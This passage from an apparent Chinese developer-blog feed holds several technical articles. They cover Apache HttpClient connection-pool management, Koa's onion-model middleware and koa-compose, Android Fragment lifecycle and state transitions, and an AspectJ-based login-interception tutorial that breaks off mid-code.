一定要注意:这里的超时不是数据传输完成,而只是接收到两个数据包的间隔时间,这也是很多线上诡异问题发生的根本原因。

3.4 四个容器

  • free

  • leased

  • pending

  • available

  • **【free】:**空闲连接的容器,连接还没有建立,理论上freeSize=maxTotal -leasedSize

  • - availableSize(其实HttpClient中并没有该容器,只是为了描述方便,特意引入的一个容器)。

  • 【leased】:租赁连接的容器,连接创建后,会从free容器转移到leased容器;也可以直接从available容器租赁连接,租赁成功后连接被放在leased容器中,此种场景主要是连接的复用,也是连接池的一个很重要的能力。

  • 【pending】:等待连接的容器,其实该容器只是在等待连接释放的时候用作阻塞线程,下文也不会再提到,感兴趣的可以参考具体实现代码,其与connectionRequestTimout相关。

  • 【available】:可复用连接的容器,通常直接从leased容器转移过来,长连接的情况下完成通信后,会把连接放到available列表,一些对连接的管理和释放通常都是围绕该容器进行的。

注:由于存在maxTotal和maxPerRoute两个连接数限制,下文在提到这四种容器时,如果没有带前缀,都代表是总连接数,如果是r.xxxx则代表是路由连接里的某个容器大小。

maxTotal的组成

3.5 连接的产生与管理

  1. 循环从available容器中获取连接,如果该连接未失效(根据上文提到的expiry字段判断),则把该连接从available容器中删除,并添加到leased容器,并返回该连接;

  2. 如果在第一步中没有获取到可用连接,则判断r.available + r.leased是否大于maxPerRoute,其实就是判断是否还有free连接;如果不存在,则需要把多余分配的连接释放掉(r. available + r.leased - maxPerRoute),来保证真实的连接数受maxPerRoute控制(至于为什么会出现r.leased+r.available>maxPerRoute的情况其实也很好理解,虽然在整个状态流转过程都加了锁,但是状态的流转并不是原子操作,存在一些异常的场景都会导致状态短时间不正确);所以我们可以得出结论,maxPerRoute只是一个理论上的最大数值,其实真实产生的连接数在短时间内是可能大于这个值的;

  3. 在真实的连接数(r .leased+ r .available)小于maxPerRoute且maxTotal>leased的情况下:如果free>0,则重新创建一个连接;如果free=0,则把available容器里的最早创建的一个连接关闭掉,然后再重新创建一个连接;看起来有点绕,其实就是优先使用free容器里的连接,获取不到再释放available容器里的连接;

  4. 如果经过上述过程仍然没有获取到可用连接,那就只能等待一个connectionRequestTimout时间,或者有其他线程的信号通知来结束整个获取连接的过程。

图片

3.6 连接的释放

  1. 如果是长连接(reusable),则把该连接从leased容器中删除,然后添加到available容器的头部,设置有效期为expiry;

  2. 如果是短连接(non-reusable),则直接关闭该连接,并且从released容器中删除,此时的连接被释放,处于free容器中;

  3. 最后,唤醒“连接的产生与管理“第四部中的等待线程。

整个过程分析完,了解了httpclient如何管理连接,再回头来看我们遇到的那个问题就比较清晰了:

正常情况下,虽然建立了长连接,但是我们会在finally代码块里去手动关闭,此场景其实是触发了“连接的释放”中的步骤2,连接直接被关闭;所以正常情况下是没有问题的,长连接其实并没有发挥真正的作用;

那问题自然就只能出现在一些异常场景,导致了长连接没有被及时关闭,结合最初的分析,是服务端主动断开了连接,那大概率出现在一些超时导致连接断开的异常场景,我们再回到org.apache.http.impl.execchain.MainClientExec这个类,发现这样几行代码:

图片

**connHolder.releaseConnection()**对应“连接的释放”中提到的步骤1,此时连接只是被放入了available容器,并且有效期是永久;

**return new HttpResponseProxy(response, null)**返回的ConnectionHolder是null,结合IOUtils.closeQuietly(httpResponse)的具体实现,连接并没有及时关闭,而是永久的放在了available容器里,并且状态为CLOSE_WAIT,无法被复用;

图片

根据 “连接的产生与管理”的步骤3的描述,在free容器为空的时候httpclient是能够主动释放available里的连接的,即使连接永久的放在了available容器里,理论上也不会造成连接永远无法释放;

然而再结合“连接的产生与管理”的步骤4,当free容器为空了以后,从连接池获取连接时需要等待available容器里的连接被释放掉,整个过程是单线程的,效率极低,势必会造成拥堵,最终导致大量等待获取连接超时报错,这也与我们线上看到的场景相吻合。

四、总结

  1. 连接池的主要功能有两个:连接的管理和连接的复用,在使用连接池的时候一定要注意只需关闭当前数据流,而不要每次都关闭连接,除非你的目标访问地址是完全随机的;

  2. maxTotal和maxPerRoute的设置一定要谨慎,合理的分配参数可以做到业务隔离,但如果无法准确做出评估,可以暂时设置成一样,或者用两个独立的httpclient实例;

  3. 一定记得要设置长连接的有效期,用

    PoolingHttpClientConnectionManager(60, TimeUnit.SECONDS)构造函数,尤其是调用量较大的情况,防止发生不可预知的问题;

  4. 可以通过设置evictIdleConnections(5, TimeUnit.SECONDS)定时清理空闲连接,尤其是http接口响应时间短,并发量大的情况下,及时清理空闲连接,避免从连接池获取连接的时候发现连接过期再去关闭连接,能在一定程度上提高接口性能。

五、写在最后

HttpClient作为当前使用最广泛的基于Java语言的Http调用框架,在笔者看来其存在两点明显不足:

  1. 没有提供监控连接状态的入口,也没有提供能外部介入动态影响连接生命周期的扩展点,一旦线上出现问题可能就是致命的;

  2. 此外,其获取连接的方式是采用同步锁的方式,在并发较高的情况下存在一定的性能瓶颈,而且其对长连接的管理方式存在问题,稍不注意就会导致建立大量异常长连接而无法及时释放,造成系统性灾难。


作者:Zhi Guangquan-vivo互联网技术
来源:juejin.cn/post/7131908954522648606
收起阅读 »

【Node】深入浅出 Koa 的洋葱模型

本文将讲解 koa 的洋葱模型,我们为什么要使用洋葱模型,以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要,希望本文对你有所帮助~什么是洋葱模型先来看一个 democonst Koa = require...
继续阅读 »

本文将讲解 koa 的洋葱模型,我们为什么要使用洋葱模型,以及它的原理实现。掌握洋葱模型对于理解 koa 至关重要,希望本文对你有所帮助~

什么是洋葱模型

先来看一个 demo

const Koa = require('koa');
const app = new Koa();

// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});

// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});

app.listen(8000, '0.0.0.0', () => {
console.log(`Server is starting`);
});

输出的结果是:

1
3
4
2

koa 中,中间件被 next() 方法分成了两部分。next() 方法上面部分会先执行,下面部门会在后续中间件执行全部结束之后再执行。可以通过下图直观看出:



在洋葱模型中,每一层相当于一个中间件,用来处理特定的功能,比如错误处理、Session 处理等等。其处理顺序先是 next() 前请求(Request,从外层到内层)然后执行 next() 函数,最后是 next() 后响应(Response,从内层到外层),也就是说每一个中间件都有两次处理时机



为什么 Koa 使用洋葱模型


假如不是洋葱模型,我们中间件依赖于其他中间件的逻辑的话,我们要怎么处理?


比如,我们需要知道一个请求或者操作 db 的耗时是多少,而且想获取其他中间件的信息。在 koa 中,我们可以使用 async await 的方式结合洋葱模型做到。

app.use(async(ctx, next) => {
const start = new Date();
await next();
const delta = new Date() - start;
console.log (`请求耗时: ${delta} MS`);
console.log('拿到上一次请求的结果:', ctx.state.baiduHTML);
})

app.use(async(ctx, next) => {
// 处理 db 或者进行 HTTP 请求
ctx.state.baiduHTML = await axios.get('http://baidu.com');
})


而假如没有洋葱模型,这是做不到的。

深入 Koa 洋葱模型

我们以文章开始时候的 demo 来分析一下 koa 内部的实现。

const Koa = require('koa');

//Applications
const app = new Koa();

// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});

// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});

app.listen(9000, '0.0.0.0', () => {
console.log(`Server is starting`);
});

use 方法

use 方法就是做了一件事,维护得到 middleware 中间件数组

use(fn) {
// ...
// 维护中间件数组——middleware
this.middleware.push(fn);
return this;
}

listen 方法 和 callback 方法


执行 app.listen 方法的时候,其实是 Node.js 原生 http 模块 createServer 方法创建了一个服务,其回调为 callback 方法。callback 方法中就有我们今天的重点 compose 函数,它的返回是一个 Promise 函数。

listen(...args) {
debug('listen');
// node http 创建一个服务
const server = http.createServer(this.callback());
return server.listen(...args);
}

callback() {
// 返回值是一个函数
const fn = compose(this.middleware);
const handleRequest = (req, res) => {
// 创建 ctx 上下文环境
const ctx = this.createContext(req, res);
return this.handleRequest(ctx, fn);
};
return handleRequest;
}

handleRequest 中会执行 compose 函数中返回的 Promise 函数并返回结果。

handleRequest(ctx, fnMiddleware) {
const res = ctx.res;
res.statusCode = 404;
const onerror = err => ctx.onerror(err);
const handleResponse = () => respond(ctx);
onFinished(res, onerror);
// 执行 compose 中返回的函数,将结果返回
return fnMiddleware(ctx).then(handleResponse).catch(onerror);
}

koa-compose

compose 函数引用的是 koa-compose 这个库。其实现如下所示:

function compose (middleware) {
// ...
return function (context, next) {
// last called middleware #
let index = -1
// 一开始的时候传入为 0,后续会递增
return dispatch(0)
function dispatch (i) {
// 假如没有递增,则说明执行了多次
if (i <= index) return Promise.reject(new Error('next() called multiple times'))
index = i
// 拿到当前的中间件
let fn = middleware[i]
if (i === middleware.length) fn = next
// 当 fn 为空的时候,就会开始执行 next() 后面部分的代码
if (!fn) return Promise.resolve()
try {
// 执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next 函数
// 也就是说执行 next 的时候也就是调用 dispatch 函数的时候
return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));
} catch (err) {
return Promise.reject(err)
}
}
}
}

代码很简单,我们来看看具体的执行流程是怎样的:


当我们执行第一次的时候,调用的是 dispatch(0),这个时候 i 为 0,fn 为第一个中间件函数。并执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next 函数。也就是说中间件执行 next 的时候也就是调用 dispatch 函数的时候,这就是为什么执行 next 逻辑的时候就会执行下一个中间件的原因:

return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));

当第二、第三次执行 dispatch 的时候,跟第一次一样,分别开始执行第二、第三个中间件,执行 next() 的时候开始执行下一个中间件。


当执行到第三个中间件的时候,执行到 next() 的时候,dispatch 函数传入的参数是 3,fnundefined。这个时候就会执行

if (!fn) return Promise.resolve()

这个时候就会执行第三个中间件 next() 之后的代码,然后是第二个、第一个,从而形成了洋葱模型。

其过程如下所示:

简易版 compose

模范 koa 的逻辑,我们可以写一个简易版的 compose。方便大家的理解:

const middleware = []
let mw1 = async function (ctx, next) {
console.log("next前,第一个中间件")
await next()
console.log("next后,第一个中间件")
}
let mw2 = async function (ctx, next) {
console.log("next前,第二个中间件")
await next()
console.log("next后,第二个中间件")
}
let mw3 = async function (ctx, next) {
console.log("第三个中间件,没有next了")
}

function use(mw) {
middleware.push(mw);
}

function compose(middleware) {
return (ctx, next) => {
return dispatch(0);
function dispatch(i) {
const fn = middleware[i];
if (!fn) return;
return fn(ctx, dispatch.bind(null, i+1));
}
}
}

use(mw1);
use(mw2);
use(mw3);

const fn = compose(middleware);

fn();

总结


Koa 的洋葱模型指的是以 next() 函数为分割点,先由外到内执行 Request 的逻辑,再由内到外执行 Response 的逻辑。通过洋葱模型,将多个中间件之间通信等变得更加可行和简单。其实现的原理并不是很复杂,主要是 compose 方法。


链接:https://juejin.cn/post/7012031464237694983



收起阅读 »

翻车了,字节一道 Fragment面试题

一道面试题 前段时间面试,面试官先问了一下fragment的生命周期,我一看这简单呀,直接按照下图回答 面试官点点头,然后问,如果Activity里面有一个fragment,那么启动他们时,他们的生命周期加载顺序是什么? 所以今天,我们好好了解了解这个用得...
继续阅读 »

一道面试题


前段时间面试,面试官先问了一下fragment的生命周期,我一看这简单呀,直接按照下图回答


img


面试官点点头,然后问,如果Activity里面有一个fragment,那么启动他们时,他们的生命周期加载顺序是什么?


在这里插入图片描述


所以今天,我们好好了解了解这个用得非常多,但是对底层不是很理解的fragment吧


首先回答面试官的问题,Fragment 的 start与activity 的start 的调用时机



调用顺序:


D/MainActivity: MainActivity:


D/MainActivity: onCreate: start


D/MainFragment: onAttach:


D/MainFragment: onCreate:




D/MainActivity: onCreate: end


D/MainFragment: onCreateView:


D/MainFragment: onViewCreated:


D/MainFragment: onActivityCreated:


D/MainFragment: onViewStateRestored:


D/MainFragment: onCreateAnimation:


D/MainFragment: onCreateAnimator:


D/MainFragment: onStart:




D/MainActivity: onStart:


D/MainActivity: onResume:


D/MainFragment: onResume:



可以看到Activity 在oncreate开始时,Fragment紧接着attach,create,然后activity执行完毕onCreate方法


此后都是Fragment在执行,直到onStart方法结束


然后轮到Activity,执行onStart onResume


也就是,Activity 创建的时候,Fragment一同创建,同时Fragment优先在后台先展示好,最后Activity带着Fragment一起展示到前台。


是什么?


Fragment中文翻译为”碎片“,在手机中,每一个Activity作为一个页面,有时候太大了,尤其是在平板的横屏下,我们希望左半边是一根独立模块,右半边是一个独立模块,比如一个新闻app,左边是标题栏,右边是显示内容


此时就非常适合Fragment


Fragment是内嵌入Activity中的,可以在onCreateView中加载自定义的布局,使用LayoutInflater,然后Activity持有FragmentManager对Fragment进行控制,


下图是他的代码框架


image.png


我们的Activity一般是用AppCompatActivity,而AppCompatActivity继承了FragmentActivity


public class AppCompatActivity extends FragmentActivity implements AppCompatCallback,
TaskStackBuilder.SupportParentable, ActionBarDrawerToggle.DelegateProvider {

也就是说Activity之所支持fragment,是因为有FragmentActivity,他内部有一个FragmentController,这个controller持有一个FragmentManager,真正做事的就是这个FragmentManager的实现类FragmentManagerImpl


整体架构


回到我们刚才的面试题,关于生命周期绝对是重中之重,但是实际上,生命周期本质只是被其他地方的方法被动调用而已,关键是Fragment自己的状态变化了,才会回调生命周期方法,所以我们来看看fragment的状态转移


fragment有七个状态


static final int INVALID_STATE = -1;   // 为空时无效
static final int INITIALIZING = 0; // 未创建
static final int CREATED = 1; // 已创建,位于后台
static final int ACTIVITY_CREATED = 2; // Activity已经创建,Fragment位于后台
static final int STOPPED = 3; // 创建完成,没有开始
static final int STARTED = 4; // 开始运行,但是位于后台
static final int RESUMED = 5; // 显示到前台

在这里有一个有意思的地方,STOPPED,我本来以为是停止阶段,但是在源码中写为”
Fully created, not started.“,所以,其实Fragment的状态是对称的。RESUME状态反而是最后一个状态


调用过程如下


image.png


Fragment的状态转移过程主要受到宿主,事务的影响,宿主一般就是Activity,在我们刚刚的题目中,看到了Activity与Fragment的生命周期交替执行,本质上就是,Activity执行完后通知了Fragment进行状态转移,而Fragment执行了状态转移后对应的回调了生命周期方法


下图可以更加清晰


img


宿主改变Fragment状态


那么我们不禁要问,Activity如何改变Fragment的状态?


我们知道Activity继承于FragmentActivity,最终是通过持有的FragmentManager来控制Fragment,我们去看看


FragmentActivity
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
mFragments.attachHost(null /*parent*/);

super.onCreate(savedInstanceState);
...
mFragments.dispatchCreate();
}

可以看到,onCreate方法中执行了mFragments.dispatchCreate();,看起来像是通知Fragment的onCreate执行,这也印证了我们开始时的周期回调顺序


D/MainActivity: MainActivity: 
D/MainActivity: onCreate: start // 进入onCreate
D/MainFragment: onAttach: // 执行mFragments.dispatchCreate();
D/MainFragment: onCreate:
D/MainActivity: onCreate: end // 退出onCreate

类似的FragmentActivity在每一个生命周期方法中都做了相同的事情


@Override
protected void onDestroy() {
super.onDestroy();

if (mViewModelStore != null && !isChangingConfigurations()) {
mViewModelStore.clear();
}

mFragments.dispatchDestroy();
}

我们进入dispatchCreate看看,


Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}

//内部修改了两个状态
public void dispatchCreate() {
mStateSaved = false;
mStopped = false;
dispatchStateChange(Fragment.CREATED);

private void dispatchStateChange(int nextState) {
try {
mExecutingActions = true;
moveToState(nextState, false);// 转移到nextState
} finally {
mExecutingActions = false;
}
execPendingActions();
}
//一路下来会执行到
void moveToState(Fragment f, int newState, int transit, int transitionStyle,
boolean keepActive) {
// Fragments that are not currently added will sit in the onCreate() state.
if ((!f.mAdded || f.mDetached) && newState > Fragment.CREATED) {
newState = Fragment.CREATED;
}
if (f.mRemoving && newState > f.mState) {
if (f.mState == Fragment.INITIALIZING && f.isInBackStack()) {
// Allow the fragment to be created so that it can be saved later.
newState = Fragment.CREATED;
} else {
// While removing a fragment, we can't change it to a higher state.
newState = f.mState;
}
}
...
}

可以看到上面的代码,最终执行到 moveToState,通过判断Fragment当前的状态,同时newState > f.mState,避免状态回退,然后进行状态转移


状态转移完成后就会触发对应的生命周期回调方法


事务管理


如果Fragment只能随着Activity的生命周期变化而变化,那就太不灵活了,所以Android给我们提供了一个独立的操作方案,事务


同样由FragManager管理,具体由FragmentTransaction执行,主要是添加删除替换Fragment等,执行操作后,需要提交来保证生效


FragmentManager fragmentManager = ...
FragmentTransaction transaction = fragmentManager.beginTransaction();
transaction.setReorderingAllowed(true);

transaction.replace(R.id.fragment_container, ExampleFragment.class, null); // 替换Fragment

transaction.commit();// 这里的commit是提交的一种方法

Android给我们的几种提交方式


image-20211020143006614


FragmentTransaction是个挂名抽象类,真正的实现在BackStackState回退栈中,我们看下commit


@Override
public int commit() {
return commitInternal(false);
}
int commitInternal(boolean allowStateLoss) {
if (mCommitted) throw new IllegalStateException("commit already called");
...
mCommitted = true;
if (mAddToBackStack) {
mIndex = mManager.allocBackStackIndex(this);//1
} else {
mIndex = -1;
}
// 入队操作
mManager.enqueueAction(this, allowStateLoss);//2
return mIndex;
}

可以看到,commit的本质就是将事务提交到队列中,这里出现了两个数组,注释1处


ArrayList<BackStackRecord> mBackStackIndices;
ArrayList<Integer> mAvailBackStackIndices;
public int allocBackStackIndex(BackStackRecord bse) {
synchronized (this) {
if (mAvailBackStackIndices == null || mAvailBackStackIndices.size() <= 0) {
if (mBackStackIndices == null) {
mBackStackIndices = new ArrayList<BackStackRecord>();
}
int index = mBackStackIndices.size();
mBackStackIndices.add(bse);
return ind
} else {
int index = mAvailBackStackIndices.remove(mAvailBackStackIndices.size()-1);
mBackStackIndices.set(index, bse);
return index;
}
}
}

mBackStackIndices数组,每个元素是一个回退栈,用来记录索引。比如说,当有五个BackStackState时,移除掉1,3两个,就是在mBackStackIndices将对应元素置为null,然后mAvailBackStackIndices会添加这两个回退栈,记录被移除的回退栈


当下次commit时,就判定mAvailBackStackIndices中的索引,对应的BackStackState一定是null,直接写到这个索引即可


而一组操作都commit到同一个队列里面,所以要么全部完成,要么全部不做,可以保证原子性


注释二处是一个入队操作


public void enqueueAction(OpGenerator action, boolean allowStateLoss
synchronized (this) {
...
mPendingActions.add(action);
scheduleCommit(); // 真正的提交
}
}
public void scheduleCommit() {
synchronized (this) {
boolean postponeReady =
mPostponedTransactions != null && !mPostponedTransactions.isEmpty();
boolean pendingReady = mPendingActions != null && mPendingActions.size() == 1;
if (postponeReady || pendingReady) {
mHost.getHandler().removeCallbacks(mExecCommit);
mHost.getHandler().post(mExecCommit); // 发送请求
}
}

这里最后 mHost.getHandler()是拿到了宿主Activity的handler,使得可以在主线程执行,mExecCommit本身是一个线程


我们继续看下这个mExecCommit


Runnable mExecCommit = new Runnable() {
@Override
public void run() {
execPendingActions();
}
};
public boolean execPendingActions() {
ensureExecReady(true);
...
doPendingDeferredStart();
burpActive();
return didSomething;
}
void doPendingDeferredStart() {
if (mHavePendingDeferredStart) {
mHavePendingDeferredStart = false;
startPendingDeferredFragments();
}
}
void startPendingDeferredFragments() {
if (mActive == null) return;
for (int i=0; i<mActive.size(); i++) {
Fragment f = mActive.valueAt(i);
if (f != null) {
performPendingDeferredStart(f);
}
}
}
public void performPendingDeferredStart(Fragment f) {
if (f.mDeferStart) {
f.mDeferStart = false;
moveToState(f, mCurState, 0, 0, false); // 最终到了MoveToState
}
}

还记得我们在宿主改变Fragment状态,里面的最终路径吗?是的,就是这个moveToState,无论是宿主改变Fragment状态,还是事务来改变,最终都会执行到moveToState,然后call对应的生命周期方法来执行,这也是为什么我们要将状态转移作为学习主线,而不是生命周期。


除了commit,可以看到FragmentTransaction有众多对Fragment进行增删改查的方法


image-20211020143442569


都是由BackStackState来执行,最后都会执行到moveToState中


具体是如何改变的,有很多细节,这里不再赘述。


小结


本节我们讲了Fragment在android系统中的状态,那就是通过自身状态转移来回调对应生命周期方法,这块是自动实现的,我们开发时不太需要关注状态转移,只要知道什么时候执行某个生命周期方法,然后再在对应方法中写业务逻辑即可


有两个方法可以让Fragment状态转移,



  • 宿主Activity生命周期内自动修改Fragment状态,回调Fragment的生命周期方法

  • 通过手动提交事务,修改Fragment状态,回调Fragment的生命周期方法

作者:小松漫步
链接:https://juejin.cn/post/7021398731056480269
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Android登录拦截的场景-面向切面基于AOP实现

前言 场景如下:用户第一次下载App,点击进入首页列表,点击个人页面,需要校验登录,然后跳转到登录页面,注册/登录完成跳转到个人页面。 非常常见的场景,正常我们开发就只能判断是否已经登录,如果未登录就跳转到登录,然后登录完成之后怎么继续执行?如何封装?有哪些方...
继续阅读 »

前言


场景如下:用户第一次下载App,点击进入首页列表,点击个人页面,需要校验登录,然后跳转到登录页面,注册/登录完成跳转到个人页面。


非常常见的场景,正常我们开发就只能判断是否已经登录,如果未登录就跳转到登录,然后登录完成之后怎么继续执行?如何封装?有哪些方式?其实很多人并不清楚。


这里做一个系列总结一下,看看公共有多少种方式实现,你们使用的是哪一种方案,或者说你们觉得哪一种方案最好用。


这一次分享的是全网最多的方案 ,面向切面 AOP 的方式。你去某度一搜,Android拦截登录 最多的结果就是AOP实现登录拦截的功能,既然大家都推荐,我们就来看看它到底如何?


一、了解面向切面AOP


我们学习Java的开始,我们一直就知道 OOP 面向对象,其实 AOP 面向切面,是对OOP的一个补充,AOP采取横向收取机制,取代了传统纵向继承体系重复性代码,把某一类问题集中在一个地方进行处理,比如处理程序中的点击事件、打印日志等。


AOP是编程思想就是把业务逻辑和横切问题进行分离,从而达到解耦的目的,提高代码的重用性和开发效率。OOP的精髓是把功能或问题模块化,每个模块处理自己的家务事。但在现实世界中,并不是所有功能都能完美得划分到模块中。AOP的目标是把这些功能集中起来,放到一个统一的地方来控制和管理。


我记得我最开始接触 AOP 还是在JavaEE的框架SSH的学习中,AspectJ框架,开始流行于后端,现在在Android开发的应用中也越来越广泛了,Android中使用AspectJ框架的应用也有很多,比如点击事件防抖,埋点,权限申请等等不一而足,这里不展开说明,毕竟我们这一期不是专门讲AspectJ的应用的。


简单的说一下AOP的重点概念(摘抄):




  • 前置通知(Before):在目标方法被调用之前调用通知功能。




  • 后置通知(After):在目标方法完成之后调用通知,此时不会关心方法的输出是什么。




  • 返回通知(After-returning):在目标方法成功执行之后调用通知。




  • 异常通知(After-throwing):在目标方法抛出异常后调用通知。




  • 环绕通知(Around):通知包裹了被通知的方法,在被通知的方法调用之前和调用之后执行自定义的行为。




  • 连接点:是在应用执行过程中能够插入切面的一个点。




  • 切点: 切点定义了切面在何处要织入的一个或者多个连接点。




  • 切面:是通知和切点的结合。通知和切点共同定义了切面的全部内容。




  • 引入:引入允许我们向现有类添加新方法或属性。




  • 织入:是把切面应用到目标对象,并创建新的代理对象的过程。切面在指定的连接点被织入到目标对象中。在目标对象的生命周期中有多个点可以进行织入:




  • 编译期: 在目标类编译时,切面被织入。这种方式需要特殊的编译器。AspectJ的织入编译器就是以这种方式织入切面的。




  • 类加载期:切面在目标加载到JVM时被织入。这种方式需要特殊的类加载器(class loader)它可以在目标类被引入应用之前增强该目标类的字节码。




  • 运行期: 切面在应用运行到某个时刻时被织入。一般情况下,在织入切面时,AOP容器会为目标对象动态地创建一个代理对象。SpringAOP就是以这种方式织入切面的。




简单理解就是把一个方法拿出来,在这个方法执行前,执行后,做一些特别的操作。关于AOP的基本使用推荐大家看看大佬的教程:


深入理解Android之AOP


不多BB,我们直接看看Android中如何使用AspectJ实现AOP逻辑,实现拦截登录的功能。


二、集成AOP框架


Java项目集成


buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'org.aspectj:aspectjtools:1.8.9'
classpath 'org.aspectj:aspectjweaver:1.8.9'
}
}

组件build.gradle


dependencies {
implementation 'org.aspectj:aspectjrt:1.9.6'
}


import org.aspectj.bridge.IMessage
import org.aspectj.bridge.MessageHandler
import org.aspectj.tools.ajc.Main

// 获取log打印工具和构建配置
final def log = project.logger
final def variants = project.android.applicationVariants
variants.all { variant ->
if (!variant.buildType.isDebuggable()) {
// 判断是否debug,如果打release把return去掉就可以
log.debug("Skipping non-debuggable build type '${variant.buildType.name}'.")
// return;
}
// 使aspectj配置生效
JavaCompile javaCompile = variant.javaCompile
javaCompile.doLast {
String[] args = ["-showWeaveInfo",
"-1.8",
"-inpath", javaCompile.destinationDir.toString(),
"-aspectpath", javaCompile.classpath.asPath,
"-d", javaCompile.destinationDir.toString(),
"-classpath", javaCompile.classpath.asPath,
"-bootclasspath", project.android.bootClasspath.join(File.pathSeparator)]
log.debug "ajc args: " + Arrays.toString(args)

MessageHandler handler = new MessageHandler(true);
new Main().run(args, handler);
//在编译时打印信息如警告、error等等
for (IMessage message : handler.getMessages(null, true)) {
switch (message.getKind()) {
case IMessage.ABORT:
case IMessage.ERROR:
case IMessage.FAIL:
log.error message.message, message.thrown
break;
case IMessage.WARNING:
log.warn message.message, message.thrown
break;
case IMessage.INFO:
log.info message.message, message.thrown
break;
case IMessage.DEBUG:
log.debug message.message, message.thrown
break;
}
}
}
}

Kotlin项目集成


dependencies {
classpath 'com.android.tools.build:gradle:3.6.1'

classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"

classpath 'com.hujiang.aspectjx:gradle-android-plugin-aspectjx:2.0.10'


项目build.gradle


apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-kapt'

apply plugin: 'android-aspectjx'

android {
...

// AOP 配置
aspectjx {
// 排除一些第三方库的包名(Gson、 LeakCanary 和 AOP 有冲突)
exclude 'androidx', 'com.google', 'com.squareup', 'com.alipay', 'com.taobao',
'org.apache',
'org.jetbrains.kotlin',
"module-info", 'versions.9'
}

}

ependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation 'org.aspectj:aspectjrt:1.9.5'
}

集成AOP踩坑:
zip file is empty



和第三方包有冲突,比如Gson,OkHttp等,需要配置排除一下第三方包,



gradle版本兼容问题



AGP版本4.0以上不支持 推荐使用3.6.1



kotlin兼容问题 :



基本都是推荐使用 com.hujiang.aspectjx



编译版本兼容问题:



4.0以上使用KT编译版本为Java11需要改为Java8



组件化兼容问题:



如果在library的moudle中自定义的注解, 想要通过AspectJ来拦截织入, 那么这个@Aspect类必须和自定义的注解在同一moudle中, 否则是没有效果的



等等...


难点就在集成,如何在指定版本的Gradle,Kotlin项目中集成成功。只要集成成功了,使用到是简单了。


三、定义注解实现功能


定义标记的注解


//不需要回调的处理
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Login {
}

定义处理类


@Aspect
public class LoginAspect {

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}

//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
LoginManager.gotoLoginPage();
}
}

object LoginManager {

@JvmStatic
fun isLogin(): Boolean {
val token = SP().getString(Constants.KEY_TOKEN, "")
YYLogUtils.w("LoginManager-token:$token")
val checkEmpty = token.checkEmpty()
return !checkEmpty
}

@JvmStatic
fun gotoLoginPage() {
commContext().gotoActivity<LoginDemoActivity>()
}
}

其实逻辑很简单,就是判断是否登录,看是放行还是跳转到登录页面


使用的逻辑也是很简单,把需要处理的逻辑使用方法抽取,并标记注解即可


    override fun init() {

mBtnCleanToken.click {
SP().remove(Constants.KEY_TOKEN)
toast("清除成功")
}

mBtnProfile.click {

//不带回调的登录方式
gotoProfilePage2()
}

}

@Login
private fun gotoProfilePage2() {
gotoActivity<ProfileDemoActivity>()
}

效果:



这..这和我使用Token自己手动判断有什么区别,完成登录之后还得我再点一次按钮,当然了这只是登录拦截,我想要的是登录成功之后继续之前的操作,怎么办?


其实使用AOP的方式的话,我们可以使用消息通知的方式,比如LiveBus FlowBus之类的间接实现这个效果。


我们先单独的定义一个注解


//需要回调的处理用来触发用户登录成功后的后续操作
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface LoginCallback {
}

修改定义的切面类


@Aspect
public class LoginAspect {

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.Login)")
public void Login() {
}

@Pointcut("@annotation(com.guadou.kt_demo.demo.demo3_bottomtabbar_fragment.aop.LoginCallback)")
public void LoginCallback() {
}

//带回调的注解处理
@Around("LoginCallback()")
public void loginCallbackJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-LoginCallback()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

LoginCallback loginCallback = ((MethodSignature) signature).getMethod().getAnnotation(LoginCallback.class);
if (loginCallback == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();

} else {
LifecycleOwner lifecycleOwner = (LifecycleOwner) joinPoint.getTarget();

LiveEventBus.get("login").observe(lifecycleOwner, new Observer<Object>() {
@Override
public void onChanged(Object integer) {
try {
joinPoint.proceed();
LiveEventBus.get("login").removeObserver(this);

} catch (Throwable throwable) {
throwable.printStackTrace();
LiveEventBus.get("login").removeObserver(this);
}
}
});

LoginManager.gotoLoginPage();
}
}

//不带回调的注解处理
@Around("Login()")
public void loginJoinPoint(ProceedingJoinPoint joinPoint) throws Throwable {
YYLogUtils.w("走进AOP方法-Login()");
Signature signature = joinPoint.getSignature();

if (!(signature instanceof MethodSignature)){
throw new RuntimeException("该注解只能用于方法上");
}

Login login = ((MethodSignature) signature).getMethod().getAnnotation(Login.class);
if (login == null) return;

//判断当前是否已经登录
if (LoginManager.isLogin()) {
joinPoint.proceed();
} else {
//如果未登录,去登录页面
